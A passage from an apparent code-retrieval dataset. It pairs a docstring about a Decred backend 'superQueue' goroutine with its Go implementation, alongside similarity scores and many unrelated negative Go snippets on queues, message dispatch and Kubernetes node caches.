az.nodeInformerSynced == nil {\n\t\treturn nil, nil\n\t}\n\n\taz.nodeCachesLock.RLock()\n\tdefer az.nodeCachesLock.RUnlock()\n\tif !az.nodeInformerSynced() {\n\t\treturn nil, fmt.Errorf(\"node informer is not synced when trying to GetUnmanagedNodes\")\n\t}\n\n\treturn sets.NewString(az.unmanagedNodes.List()...), nil\n}", "func (l *Label) rightmostNode(g *Graph) *Label {\n right, _ := l.right(g) // TODO do not ignore error\n if right == nil {\n return l\n }\n return right.rightmostNode(g)\n}", "func (nk *NodeKeeper) GetConnection(node *diztl.Node) (pb.DiztlServiceClient, error) {\n\tif c, exists := nk.Connections[node.GetIp()]; exists {\n\t\treturn c, nil\n\t}\n\tconn, err := grpc.Dial(util.Address(node), grpc.WithInsecure(),\n\t\tgrpc.WithBlock(), grpc.WithTimeout(config.NodeConnectTimeout))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tr := pb.NewDiztlServiceClient(conn)\n\tnk.Connections[node.GetIp()] = r\n\treturn r, nil\n}", "func TestCheckNonAllowedChangesRemoveDCNot0(t *testing.T) {\n\tassert := assert.New(t)\n\n\trcc, cc := HelperInitCluster(t, \"cassandracluster-3DC.yaml\")\n\n\tstatus := cc.Status.DeepCopy()\n\trcc.updateCassandraStatus(cc, status)\n\tassert.Equal(4, cc.GetDCRackSize())\n\n\t//Remove DC at specified index\n\tcc.Spec.Topology.DC.Remove(1)\n\n\tres := rcc.CheckNonAllowedChanges(cc, status)\n\n\t//Change not allowed because DC still has nodes\n\tassert.Equal(true, res)\n\n\t//Topology must have been restored\n\tassert.Equal(3, cc.GetDCSize())\n\n\t//Topology must have been restored\n\tassert.Equal(4, cc.GetDCRackSize())\n}", "func (l *Label) leftmostNode(g *Graph) *Label {\n left, _ := l.left(g) // TODO do not ignore error\n if left == nil {\n return l\n }\n return left.leftmostNode(g)\n}" ]
[ "0.5675982", "0.5640991", "0.51489455", "0.51292884", "0.5072386", "0.5046968", "0.500194", "0.49414936", "0.49361655", "0.48363492", "0.47757965", "0.4749657", "0.47285357", "0.4643413", "0.46065003", "0.45487693", "0.454845", "0.45359945", "0.45248133", "0.4474854", "0.44730482", "0.4469223", "0.44649366", "0.44553488", "0.44380015", "0.44269997", "0.44027784", "0.4381554", "0.43804267", "0.4369755", "0.43563312", "0.43496037", "0.43478468", "0.4342782", "0.4342782", "0.4329722", "0.4324878", "0.43233407", "0.43196285", "0.43072248", "0.43071264", "0.42916945", "0.42746574", "0.42635095", "0.42541972", "0.42500183", "0.42389005", "0.42378893", "0.42325327", "0.42319945", "0.42244223", "0.4221083", "0.42165646", "0.42047697", "0.4204381", "0.41995433", "0.4191388", "0.41741154", "0.41740707", "0.41713583", "0.41686225", "0.41662356", "0.4166224", "0.4160884", "0.41537768", "0.41337076", "0.41309008", "0.41292253", "0.41281947", "0.4126291", "0.412596", "0.41236347", "0.41229758", "0.41196066", "0.41102535", "0.41099375", "0.41080624", "0.41073576", "0.40969297", "0.40910783", "0.40869024", "0.40847096", "0.40809217", "0.40801984", "0.4076148", "0.40742427", "0.4061493", "0.40589267", "0.4056198", "0.4054472", "0.40526778", "0.40524712", "0.40519354", "0.4050516", "0.40500143", "0.40494594", "0.404771", "0.40387663", "0.40259942", "0.4024537" ]
0.72031325
0
superQueue should be run as a goroutine. The dcrdregistered handlers should perform any necessary type conversion and then deposit the payload into the anyQ channel. superQueue processes the queue and monitors the application context.
func (dcr *DCRBackend) superQueue() { out: for { select { case rawMsg := <-dcr.anyQ: switch msg := rawMsg.(type) { case *chainhash.Hash: // This is a new block notification. blockHash := msg dcr.log.Debugf("superQueue: Processing new block %s", blockHash) blockVerbose, err := dcr.node.GetBlockVerbose(blockHash, false) if err != nil { dcr.log.Errorf("onBlockConnected error retrieving block %s: %v", blockHash, err) return } // Check if this forces a reorg. currentTip := int64(dcr.blockCache.tipHeight()) if blockVerbose.Height <= currentTip { dcr.blockCache.reorg(blockVerbose) } block, err := dcr.blockCache.add(blockVerbose) if err != nil { dcr.log.Errorf("error adding block to cache") } dcr.signalMtx.RLock() for _, c := range dcr.blockChans { select { case c <- block.height: default: dcr.log.Errorf("tried sending block update on blocking channel") } } dcr.signalMtx.RUnlock() default: dcr.log.Warn("unknown message type in superQueue: %T", rawMsg) } case <-dcr.ctx.Done(): dcr.shutdown() break out } } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (pc *partitionConsumer) dispatcher() {\n\tdefer func() {\n\t\tpc.log.Debug(\"exiting dispatch loop\")\n\t}()\n\tvar messages []*message\n\tfor {\n\t\tvar queueCh chan []*message\n\t\tvar messageCh chan ConsumerMessage\n\t\tvar nextMessage ConsumerMessage\n\t\tvar nextMessageSize int\n\n\t\t// are there more messages to send?\n\t\tif len(messages) > 0 {\n\t\t\tnextMessage = ConsumerMessage{\n\t\t\t\tConsumer: pc.parentConsumer,\n\t\t\t\tMessage: messages[0],\n\t\t\t}\n\t\t\tnextMessageSize = messages[0].size()\n\n\t\t\tif pc.dlq.shouldSendToDlq(&nextMessage) {\n\t\t\t\t// pass the message to the DLQ router\n\t\t\t\tpc.metrics.DlqCounter.Inc()\n\t\t\t\tmessageCh = pc.dlq.Chan()\n\t\t\t} else {\n\t\t\t\t// pass the message to application channel\n\t\t\t\tmessageCh = pc.messageCh\n\t\t\t}\n\n\t\t\tpc.metrics.PrefetchedMessages.Dec()\n\t\t\tpc.metrics.PrefetchedBytes.Sub(float64(len(messages[0].payLoad)))\n\t\t} else {\n\t\t\tqueueCh = pc.queueCh\n\t\t}\n\n\t\tselect {\n\t\tcase <-pc.closeCh:\n\t\t\treturn\n\n\t\tcase _, ok := <-pc.connectedCh:\n\t\t\tif !ok {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tpc.log.Debug(\"dispatcher received connection event\")\n\n\t\t\tmessages = nil\n\n\t\t\t// reset available permits\n\t\t\tpc.availablePermits.reset()\n\n\t\t\tvar initialPermits uint32\n\t\t\tif pc.options.autoReceiverQueueSize {\n\t\t\t\tinitialPermits = uint32(pc.currentQueueSize.Load())\n\t\t\t} else {\n\t\t\t\tinitialPermits = uint32(pc.maxQueueSize)\n\t\t\t}\n\n\t\t\tpc.log.Debugf(\"dispatcher requesting initial permits=%d\", initialPermits)\n\t\t\t// send initial permits\n\t\t\tif err := pc.internalFlow(initialPermits); err != nil {\n\t\t\t\tpc.log.WithError(err).Error(\"unable to send initial permits to broker\")\n\t\t\t}\n\n\t\tcase msgs, ok := <-queueCh:\n\t\t\tif !ok {\n\t\t\t\treturn\n\t\t\t}\n\t\t\t// we only read messages here after the consumer has processed all messages\n\t\t\t// in the previous batch\n\t\t\tmessages = msgs\n\n\t\t// if the messageCh is nil or the messageCh is full this will not be selected\n\t\tcase messageCh <- nextMessage:\n\t\t\t// allow this message to be garbage collected\n\t\t\tmessages[0] = nil\n\t\t\tmessages = messages[1:]\n\n\t\t\tpc.availablePermits.inc()\n\n\t\t\tif pc.options.autoReceiverQueueSize {\n\t\t\t\tpc.incomingMessages.Dec()\n\t\t\t\tpc.client.memLimit.ReleaseMemory(int64(nextMessageSize))\n\t\t\t\tpc.expectMoreIncomingMessages()\n\t\t\t}\n\n\t\tcase clearQueueCb := <-pc.clearQueueCh:\n\t\t\t// drain the message queue on any new connection by sending a\n\t\t\t// special nil message to the channel so we know when to stop dropping messages\n\t\t\tvar nextMessageInQueue *trackingMessageID\n\t\t\tgo func() {\n\t\t\t\tpc.queueCh <- nil\n\t\t\t}()\n\n\t\t\tfor m := range pc.queueCh {\n\t\t\t\t// the queue has been drained\n\t\t\t\tif m == nil {\n\t\t\t\t\tbreak\n\t\t\t\t} else if nextMessageInQueue == nil {\n\t\t\t\t\tnextMessageInQueue = toTrackingMessageID(m[0].msgID)\n\t\t\t\t}\n\t\t\t\tif pc.options.autoReceiverQueueSize {\n\t\t\t\t\tpc.incomingMessages.Sub(int32(len(m)))\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tmessages = nil\n\n\t\t\tclearQueueCb(nextMessageInQueue)\n\t\t}\n\t}\n}", "func (e *DockerRegistryServiceController) enqueueRegistryLocationQueue() {\n\te.registryLocationQueue.Add(\"check\")\n}", "func fncSubbedToRedis(c configData, q *dque.DQue) {\n\n\t//log.Println(\"Redis Addr: \" + c.getRedisClientAddr())\n\t//log.Println(\"Redis port: \" + c.getRedisClientPort())\n\t//log.Println(\"Redis pass: \" + c.getRedisClientPass())\n\t//log.Println(\"Redis DB : \" + strconv.Itoa(c.getRedisClientDB()))\n\t//Create new Redis Client\n\tredisClient := redis.NewClient(&redis.Options{\n\t\tAddr: c.getRedisClientAddr() + \":\" + c.getRedisClientPort(),\n\t\tPassword: c.getRedisClientPass(),\n\t\tDB: c.getRedisClientDB(),\n\t})\n\n\t//Ping redis server and see if we had any errors.\n\terr := redisClient.Ping().Err()\n\n\tif err != nil {\n\t\t//Sleep 3, try again.\n\t\ttime.Sleep(3 * time.Second)\n\n\t\t//try again\n\t\terr := redisClient.Ping().Err()\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}\n\n\tlog.Println(\"Subscribing to Topic: \" + c.getRedisSubscribeTopic())\n\t//Subscribe to that topic thing\n\ttopic := redisClient.Subscribe(c.getRedisSubscribeTopic())\n\n\t//We're getting a channel\n\t//Channel is basically a built-in for pinging and pulling messages nicely.\n\tchannel := topic.Channel()\n\n\t//For messages in channel\n\tfor msg := range channel {\n\t\t//instantiate a copy of the struct where we're storing data.\n\t\t//Unmarshal the data into the user.\n\t\t//For Debug\n\t\tlog.Println(\"enq:\" + msg.Payload)\n\n\t\t//\"wrap\" the msg.payload in a \"queueThisData Struct\"\n\t\teqr := &queueThisData{IngestData: msg.Payload}\n\t\t//Drop the message to queue.\n\t\terr := q.Enqueue(eqr)\n\t\tif err != nil {\n\t\t\tlog.Println(\"EQ Err: \", err)\n\t\t}\n\t\t//log.Println(\"Queue Size\", q.Size())\n\t\t//engageTurbo(c, q)\n\n\t\t//log.Println(\"Sub to Redis side: Queue Size\", q.Size())\n\t}\n}", "func (f *Fetcher) processQueue() {\n var i int\n\n logs.Info(\"Launching %d workers\", f.MaxWorkers)\n for i = 0; i < f.MaxWorkers; i++ {\n // Create the infinite queue: the in channel to send on, and the out channel\n // to read from in the host's goroutine, and add to the channels map\n inChanCommands, outChanCommands := make(chan Command, 1), make(chan Command, 1)\n\n f.channels = append(f.channels, inChanCommands)\n\n // Start the infinite queue goroutine for this host\n go sliceIQ(inChanCommands, outChanCommands)\n // Start the working goroutine for this host\n f.workersWaitGroup.Add(1)\n go f.processChan(outChanCommands, i)\n }\n\n i = 0\nloop:\n for command := range f.queue.commandsChannel {\n\n if command == nil {\n // Special case, when the Queue is closed, a nil command is sent, use this\n // indicator to check for the closed signal, instead of looking on every loop.\n select {\n case <-f.queue.closed:\n logs.Info(\"Got close signal on main queue\")\n // Close signal, exit loop\n break loop\n default:\n // Keep going\n }\n }\n select {\n case <-f.queue.cancelled:\n logs.Info(\"Got cancel signal on main queue\")\n // queue got stop, drain\n continue\n default:\n // go on\n }\n\n f.snapshot.addCommandInQueue(f.uniqueId(command.Url(), command.Method()), command)\n\n // Send the request\n // logs.Debug(\"New command for Url: %s\", command.Url())\n f.channels[i] <- command\n i++\n if i == len(f.channels) {\n i = 0\n }\n\n }\n\n for _, ch := range f.channels {\n close(ch)\n for range ch {\n }\n }\n\n f.workersWaitGroup.Wait()\n f.queue.wg.Done()\n logs.Alert(\"All commands completed in %s\", time.Since(f.startTime))\n}", "func (c *commander) dispatcher() {\n\tfor {\n\t\tif len(c.queue) != 0 {\n\t\t\tc.dispatch_chan <- c.queue[0]\n\t\t\tif c.settings&(1<<LOG_OUT) != 0 {\n\t\t\t\tfmt.Fprintf(c.log, \"Dispatch\\t%v\\n\", c.queue[0])\n\t\t\t}\n\t\t\tc.queue = c.queue[1:]\n\t\t} else {\n\t\t\ttime.Sleep(PAUSE * time.Millisecond)\n\t\t}\n\t}\n}", "func (q *queueDriverDefault) Run(ctx context.Context) error {\n\tvar (\n\t\tmsg etl.Message\n\t\tsize int\n\t\terr error\n\t\tok bool\n\t)\n\tfor {\n\t\tfor true {\n\t\t\t// dequeue message\n\t\t\tmsg, size, ok = q.dequeue()\n\t\t\t// if no message was dequeued, break and wait for new message in a queue\n\t\t\tif !ok {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\t// send dequeued message to output channel\n\t\t\tselect {\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn ctx.Err()\n\t\t\tcase q.outputCh <- msg:\n\t\t\t}\n\n\t\t\t// call dequeue hooks\n\t\t\terr = q.callDequeueHooks(ctx, size)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\t// wait until new item is enqueued\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn ctx.Err()\n\t\tcase <-q.enqueuedCh:\n\t\t}\n\t}\n\n\treturn nil\n}", "func (d *Dispatcher) dispatch(){\n\tfor {\n\t\tselect {\n\t\tcase job := <- d.JobQueue:\n\t\t\t// a job request has been received\n\t\t\tgo func(job Job) {\n\t\t\t\t// try to obtain a worker job channel that is available\n\t\t\t\t// this will block until a worker is idle\n\t\t\t\tjobChannel := <- d.WorkerPool\n\n\t\t\t\t// dispatch the job to worker job channel that free\n\t\t\t\tjobChannel <- job\n\t\t\t}(job)\n\t\t}\n\t}\n}", "func (t *UdpClient) runRequestQueue() {\r\n\tfor req := range t.requestQueue {\r\n\t\tmessage := req.message\r\n\t\tresponse_ch := req.response_ch\r\n\r\n\t\tmsg, err := t.execRequest(message)\r\n\r\n\t\tresponse_ch <- response{msg, err}\r\n\t}\r\n}", "func (runner *TestRunner) handleQueue (queueControl <-chan batchExecQueueControl) {\n\texecEndSignal := make(chan string)\n\n\texecute := func (enq batchExecQueueControlEnqueue, stopRequest <-chan struct{}, executionLogQuery <-chan chan<- string) {\n\t\t// Handle the execution log in a separate goroutine rather than in\n\t\t// the main loop of runner.executeBatch, so that any stalls in\n\t\t// executeBatch don't delay execution log queries.\n\t\t// The handler is controlled via the following channels.\n\t\texecutionLogAppend\t:= make(chan string)\t// Append a string to the log; don't commit to DB yet.\n\t\texecutionLogCommit\t:= make(chan struct{})\t// Commit uncommitted changes to DB.\n\t\texecutionLogStop\t:= make(chan struct{})\t// Stop the goroutine.\n\t\tgo func() {\n\t\t\texecutionLog := bytes.Buffer{}\n\t\t\tfor {\n\t\t\t\tselect {\n\t\t\t\t\tcase dst := <-executionLogQuery:\n\t\t\t\t\t\tdst <- runner.getBatchResultPastExecutionLog(enq.batchResultId) + executionLog.String()\n\t\t\t\t\tcase str := <-executionLogAppend:\n\t\t\t\t\t\texecutionLog.WriteString(str)\n\t\t\t\t\tcase <-executionLogCommit:\n\t\t\t\t\t\topSet := rtdb.NewOpSet()\n\t\t\t\t\t\topSet.Call(typeBatchResultExecutionLog, enq.batchResultId, \"Append\", executionLog.String())\n\t\t\t\t\t\terr := runner.rtdbServer.ExecuteOpSet(opSet)\n\t\t\t\t\t\tif err != nil { panic(err) }\n\t\t\t\t\t\texecutionLog.Reset()\n\t\t\t\t\tcase <-executionLogStop:\n\t\t\t\t\t\tif executionLog.Len() > 0 { panic(\"Execution log handler stopped, but non-committed data remains\") }\n\t\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\n\t\texecutionLogAppend <- fmt.Sprintf(\"Batch reached front of its queue at %v\\n\", time.Now().Format(defaultHumanReadableTimeFormat))\n\n\t\tvar batchResult BatchResult\n\t\terr := runner.rtdbServer.GetObject(enq.batchResultId, &batchResult)\n\t\tif err != nil { panic(err) }\n\n\t\tvar testCaseList TestCaseList\n\t\terr = runner.rtdbServer.GetObject(enq.batchResultId, &testCaseList)\n\t\tif err != nil { panic(err) }\n\n\t\tcasePaths := testCaseList.Paths\n\t\tif runner.isPartiallyExecutedBatch(enq.batchResultId) {\n\t\t\texecutionLogAppend <- fmt.Sprintf(\"Batch is partially executed, filtering pending cases\\n\")\n\t\t\tcasePaths = runner.filterPendingCasePaths(enq.batchResultId, casePaths)\n\t\t}\n\n\t\trunner.executeBatch(enq.batchResultId, batchResult.ExecParams, casePaths, stopRequest, executionLogAppend)\n\n\t\texecutionLogCommit <- struct{}{}\n\t\texecEndSignal <- enq.queueId\n\t\texecutionLogStop <- struct{}{}\n\t}\n\n\tqueueStopRequest\t\t:= make(map[string]chan<- struct{})\n\tqueueExecutionLogQuery\t:= make(map[string]chan<- chan<- string)\n\n\tlaunch := func (enq batchExecQueueControlEnqueue) {\n\t\tstopRequest\t\t\t:= make(chan struct{}, 1)\n\t\texecutionLogQuery\t:= make(chan chan<- string, 1)\n\t\tqueueStopRequest[enq.queueId]\t\t\t= stopRequest\n\t\tqueueExecutionLogQuery[enq.queueId]\t\t= executionLogQuery\n\t\tgo execute(enq, stopRequest, executionLogQuery)\n\t}\n\n\tfor {\n\t\tselect {\n\t\t\tcase command := <-queueControl:\n\t\t\t\tswitch cmd := command.(type) {\n\t\t\t\t\tcase batchExecQueueControlEnqueue:\n\t\t\t\t\t\tvar queue DeviceBatchQueue\n\t\t\t\t\t\terr := runner.rtdbServer.GetObject(cmd.queueId, &queue)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t// Queue does not exist; create it.\n\n\t\t\t\t\t\t\topSet := rtdb.NewOpSet()\n\t\t\t\t\t\t\topSet.Call(typeDeviceBatchQueueList, \"deviceBatchQueueList\", \"Append\", cmd.queueId)\n\t\t\t\t\t\t\topSet.Call(typeDeviceBatchQueue, cmd.queueId, \"Init\")\n\t\t\t\t\t\t\terr = runner.rtdbServer.ExecuteOpSet(opSet)\n\t\t\t\t\t\t\tif err != nil { panic(err) }\n\n\t\t\t\t\t\t\tlog.Printf(\"[runner] created queue '%s'\", cmd.queueId)\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\topSet := rtdb.NewOpSet()\n\t\t\t\t\t\topSet.Call(typeDeviceBatchQueue, cmd.queueId, \"Append\", cmd.batchResultId)\n\t\t\t\t\t\terr = runner.rtdbServer.ExecuteOpSet(opSet)\n\t\t\t\t\t\tif err != nil { panic(err) }\n\n\t\t\t\t\t\tif len(queue.BatchResultIds) == 0 { // \\note queue is the queue before appending.\n\t\t\t\t\t\t\tlaunch(cmd);\n\t\t\t\t\t\t}\n\n\t\t\t\t\tcase batchExecQueueControlStopBatch:\n\t\t\t\t\t\tvar queue DeviceBatchQueue\n\t\t\t\t\t\terr := runner.rtdbServer.GetObject(cmd.queueId, &queue)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tlog.Printf(\"[runner] WARNING: stop request for non-existent queue '%s'\", cmd.queueId)\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tfound := false\n\t\t\t\t\t\tfor ndx, enqueuedId := range queue.BatchResultIds {\n\t\t\t\t\t\t\tif enqueuedId == cmd.batchResultId {\n\t\t\t\t\t\t\t\tif ndx == 0 {\n\t\t\t\t\t\t\t\t\tselect {\n\t\t\t\t\t\t\t\t\t\tcase queueStopRequest[cmd.queueId] <- struct{}{}:\n\t\t\t\t\t\t\t\t\t\t\tlog.Printf(\"[runner] stop request sent for batch '%s'\\n\", cmd.batchResultId)\n\t\t\t\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t\t\t\tlog.Printf(\"[runner] stop request already sent for batch '%s'\\n\", cmd.batchResultId)\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tlog.Printf(\"[runner] cancelled pending batch '%s'\\n\", cmd.batchResultId)\n\n\t\t\t\t\t\t\t\t\t// Set batch status, and remove it from the queue and active batch list.\n\t\t\t\t\t\t\t\t\topSet := rtdb.NewOpSet()\n\t\t\t\t\t\t\t\t\topSet.Call(typeBatchResult, cmd.batchResultId, \"SetStatus\", BATCH_STATUS_CODE_CANCELED)\n\t\t\t\t\t\t\t\t\topSet.Call(typeActiveBatchResultList, \"activeBatchResultList\", \"Remove\", cmd.batchResultId)\n\t\t\t\t\t\t\t\t\topSet.Call(typeDeviceBatchQueue, cmd.queueId, \"Remove\", cmd.batchResultId)\n\t\t\t\t\t\t\t\t\terr = runner.rtdbServer.ExecuteOpSet(opSet)\n\t\t\t\t\t\t\t\t\tif err != nil { panic(err) }\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tfound = true\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif !found {\n\t\t\t\t\t\t\tlog.Printf(\"[runner] WARNING: stop request for batch '%s', does not exist in queue '%s'\\n\", cmd.batchResultId, cmd.queueId)\n\t\t\t\t\t\t}\n\n\t\t\t\t\tcase batchExecQueueControlMove:\n\t\t\t\t\t\tvar queue DeviceBatchQueue\n\t\t\t\t\t\terr := runner.rtdbServer.GetObject(cmd.queueId, &queue)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tlog.Printf(\"[runner] WARNING: move command for non-existent queue '%s'\", cmd.queueId)\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tfound := false\n\t\t\t\t\t\tfor srcNdx, enqueuedId := range queue.BatchResultIds {\n\t\t\t\t\t\t\tif enqueuedId == cmd.batchResultId {\n\t\t\t\t\t\t\t\tdstNdx := srcNdx + cmd.offset\n\t\t\t\t\t\t\t\tif srcNdx == 0 || dstNdx == 0 {\n\t\t\t\t\t\t\t\t\t// \\todo [nuutti] Support moving running batch? We'd have to automatically\n\t\t\t\t\t\t\t\t\t//\t\t\t\t stop it first, which can be slow, so it could get confusing?\n\t\t\t\t\t\t\t\t\tlog.Printf(\"[runner] WARNING: trying to move currently to/from running batch in queue\\n\")\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tif dstNdx < 0 || dstNdx >= len(queue.BatchResultIds) {\n\t\t\t\t\t\t\t\t\t\tlog.Printf(\"[runner] WARNING: trying to move batch to position %d\\n\", dstNdx)\n\t\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\topSet := rtdb.NewOpSet()\n\t\t\t\t\t\t\t\t\t\topSet.Call(typeDeviceBatchQueue, cmd.queueId, \"Move\", srcNdx, dstNdx)\n\t\t\t\t\t\t\t\t\t\terr := runner.rtdbServer.ExecuteOpSet(opSet)\n\t\t\t\t\t\t\t\t\t\tif err != nil { panic(err) }\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tfound = true\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif !found {\n\t\t\t\t\t\t\tlog.Printf(\"[runner] WARNING: move command for batch '%s', does not exist in queue '%s'\\n\", cmd.batchResultId, cmd.queueId)\n\t\t\t\t\t\t}\n\n\t\t\t\t\tcase batchExecQueueControlExecutionLogQuery:\n\t\t\t\t\t\tvar queue DeviceBatchQueue\n\t\t\t\t\t\terr := runner.rtdbServer.GetObject(cmd.queueId, &queue)\n\t\t\t\t\t\tif err != nil { cmd.dst <- runner.getBatchResultPastExecutionLog(cmd.batchResultId); continue }\n\n\t\t\t\t\t\tquerySent := false\n\t\t\t\t\t\tfor ndx, enqueueId := range queue.BatchResultIds {\n\t\t\t\t\t\t\tif enqueueId == cmd.batchResultId {\n\t\t\t\t\t\t\t\tif ndx == 0 {\n\t\t\t\t\t\t\t\t\tqueueExecutionLogQuery[cmd.queueId] <- cmd.dst\n\t\t\t\t\t\t\t\t\tquerySent = true\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif !querySent {\n\t\t\t\t\t\t\tcmd.dst <- runner.getBatchResultPastExecutionLog(cmd.batchResultId)\n\t\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\tcase queueId := <-execEndSignal:\n\t\t\t\tvar queue DeviceBatchQueue\n\t\t\t\terr := runner.rtdbServer.GetObject(queueId, &queue)\n\t\t\t\tif err != nil { panic(err) } // \\note This shouldn't happen (a batch run ends while it's not even in the queue).\n\n\t\t\t\topSet := rtdb.NewOpSet()\n\t\t\t\topSet.Call(typeDeviceBatchQueue, queueId, \"Remove\", queue.BatchResultIds[0])\n\t\t\t\terr = runner.rtdbServer.ExecuteOpSet(opSet)\n\t\t\t\tif err != nil { panic(err) }\n\n\t\t\t\tif len(queue.BatchResultIds) > 1 { // \\note queue is the queue before removal.\n\t\t\t\t\tlaunch(batchExecQueueControlEnqueue{\n\t\t\t\t\t\tbatchResultId:\tqueue.BatchResultIds[1],\n\t\t\t\t\t\tqueueId:\t\tqueueId,\n\t\t\t\t\t})\n\t\t\t\t}\n\t\t}\n\t}\n}", "func (w *Whisper) processQueue() {\n\tvar e *Envelope\n\tfor {\n\t\tselect {\n\t\tcase <-w.quit:\n\t\t\treturn\n\n\t\tcase e = <-w.messageQueue:\n\t\t\tw.filters.NotifyWatchers(e, false)\n\n\t\tcase e = <-w.p2pMsgQueue:\n\t\t\tw.filters.NotifyWatchers(e, true)\n\t\t}\n\t}\n}", "func (m *wsNotificationManager) queueHandler() {\n\tqueueHandler(m.queueNotification, m.notificationMsgs, m.quit)\n\tm.wg.Done()\n}", "func (s *PostfixQueueCollectScheduler) Collect() {\n\tlevel.Debug(s.collector.logger).Log(\"msg\", \"Start collecting\")\n\tnow := time.Now()\n\n\ts.collector.mu.Lock()\n\tdefer s.collector.mu.Unlock()\n\n\ts.collector.sizeBytesHistogram.Reset()\n\ts.collector.ageSecondsHistogram.Reset()\n\ts.collector.scrapeSuccessGauge.Reset()\n\ts.collector.scrapeDurationGauge.Reset()\n\n\tcnt := 0\n\tmu := sync.Mutex{}\n\terr := s.collector.postqueue.EachProduce(func(message *showq.Message) {\n\t\tfor i := 0; i < len(message.Recipients); i++ {\n\t\t\tmessage.Recipients[i].Address = util.EmailMask(message.Recipients[i].Address)\n\t\t}\n\t\tb, _ := json.Marshal(message)\n\t\tlevel.Debug(s.collector.logger).Log(\"msg\", \"Collected items\", \"item\", b)\n\n\t\tmu.Lock()\n\t\tdefer mu.Unlock()\n\n\t\ts.collector.sizeBytesHistogram.WithLabelValues(message.QueueName).Observe(float64(message.MessageSize))\n\t\ts.collector.ageSecondsHistogram.WithLabelValues(message.QueueName).Observe(now.Sub(time.Time(message.ArrivalTime)).Seconds())\n\t\tcnt++\n\t})\n\n\tif err != nil {\n\t\tif e, ok := err.(*showq.ParseError); ok {\n\t\t\tlevel.Error(s.collector.logger).Log(\"err\", err, \"line\", util.EmailMask(e.Line()))\n\t\t} else {\n\t\t\tlevel.Error(s.collector.logger).Log(\"err\", err)\n\t\t}\n\t\ts.collector.scrapeSuccessGauge.WithLabelValues(\"postfix_queue\").Set(0)\n\t} else {\n\t\ts.collector.scrapeSuccessGauge.WithLabelValues(\"postfix_queue\").Set(1)\n\t}\n\ts.collector.scrapeDurationGauge.WithLabelValues(\"postfix_queue\").Set(time.Now().Sub(now).Seconds())\n\n\t_, nextTime := gocron.NextRun()\n\tlevel.Debug(s.collector.logger).Log(\"msg\", \"Finish collecting\", \"length\", cnt, \"duration\", time.Now().Sub(now).Seconds(), \"next\", nextTime)\n}", "func (qjrDeployment *QueueJobResDeployment) Run(stopCh <-chan struct{}) {\n\tqjrDeployment.deployInformer.Informer().Run(stopCh)\n}", "func (d *Deployer) processDeployQueueWorker() {\n\tlog.Debug(\"Deployer process deploy queue: starting\")\n\n\t// invoke pprocessDeployQueueNextItem to fetch and consume the next change\n\t// to a watched or listed resource\n\tfor d.processDeployQueueNextItem() {\n\t\tlog.Debug(\"Deployer.runWorker: processing next item\")\n\t}\n\n\tlog.Debug(\"Deployer process deploy queue: completed\")\n}", "func (h *Handler) Run() (err error) {\n\n\t// Connect to activemq\n\tclient, err := h.getAMQPClient()\n\tif err != nil {\n\t\tlog.Logger.Fatal(\"Dialing AMQP server:\", err)\n\t\treturn\n\t}\n\tlog.Logger.Info(\"Connected\")\n\n\t// Open queue channel for reading\n\tchannel, err := client.Channel()\n\tif err != nil {\n\t\treturn\n\t}\n\n\tqueue, err := channel.Consume(\n\t\th.RabbitMQ.Queue,\n\t\th.RabbitMQ.Consumer,\n\t\tfalse,\n\t\tfalse,\n\t\ttrue,\n\t\tfalse,\n\t\tnil,\n\t)\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// process messages\n\tfor message := range queue {\n\n\t\tfiksMsg := fiksMessage{&message}\n\n\t\tlog := fiksMsg.LoggerWithFields()\n\t\terr = h.handleAMQMessage(fiksMsg)\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"Failed to handle AMQP message: %s\", fiksMsg.GetMeldingID(), err)\n\t\t} else {\n\t\t\tlog.Infof(\"Successfully handled message\")\n\t\t}\n\n\t\t// Always ack.\n\t\t//TODO: Consider alternate processing on errors\n\t\t//\t\tI.e. if report failure fails.\n\t\tmessage.Ack(true)\n\t}\n\n\t// TODO: consider reconnecting rather than shutting down.\n\t// connection broken, return err.\n\treturn\n}", "func (c *app) Queue(m message) {\n\tc.out <- m\n}", "func (d *D) Start() {\n\t// inChan we be accessed via closure\n\tvar inChan chan<- []byte = d.psChan\n\n\t// create a context to cancel our Receive call\n\tctx := context.Background()\n\tctx, cancel := context.WithCancel(ctx)\n\n\t// keep handle to cancel func for Stop() method\n\td.cancel = cancel\n\n\t// TODO: Should this be put into a retry loop?\n\terr := d.sub.Receive(ctx, func(ctx context.Context, m *pubsub.Message) 